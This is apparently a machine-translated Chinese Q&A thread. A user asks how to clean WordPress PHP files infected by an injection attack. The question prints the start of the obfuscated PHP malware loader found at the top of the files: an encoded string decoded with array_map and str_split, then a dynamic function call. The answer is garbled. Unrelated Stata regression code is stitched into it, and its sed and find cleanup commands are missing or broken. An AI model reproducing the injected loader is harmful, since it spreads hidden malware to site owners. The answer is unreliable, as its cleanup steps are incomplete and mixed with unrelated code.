我正在尝试清理之前已被入侵的Word Press .php文件,可能是通过MySQL代码注入。
这些文件的开头如下:
<?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x2fvr# x5cq%7**^#zsfvr# x5!>> x22!pd%)!gj}Z;h!opjudovg}{;#)W%c!>!%i x5c2^<!Ce*[!ode(array_map("opfyigg",str_split("%tjw!>!#]y84]275]y83]248]y83]254ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2jm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x<*)ujojR x27id%6< x7fw6* x7f_*#ujoj;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs}
其中一些在开始标记后面有一个空格,如:
<?php $kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)
我可以搜索并替换所有打开的<?php
代码,但会破坏一些合法的文件。
这种PHP代码有什么独特之处,所以首先可以识别,然后修复吗?我不确定如何描述这段代码......
答案 0 :(得分:2)
在php开始标记之后,我一般都没有看到任何代码的PHP文件。如果是这种情况,您的问题陈述将简化为替换
sysuse auto, clear
plogit foreign weight mpg, lasso lambda(2)
/* A. With Predict */
predict double phat, xb
replace phat = invlogit(phat)
/* B. By Hand */
/* (1) get a list of coefficients */
local coefs: colnames e(b)
/* (2) Build the index function expression */
foreach x of local coefs {
if "`x'" != "_cons" {
local index "`index' `=_b[`x']'*`x' +"
}
else {
local index "`index' `=_b[`x']'"
}
}
/* (3) predict phat */
gen double phat2 = invlogit(`index')
与
<?php.*$
你可以使用sed命令命令和find这样的
<?php
您可能需要备份文件并使用grep进行一些研究,然后继续使用sed替换inplace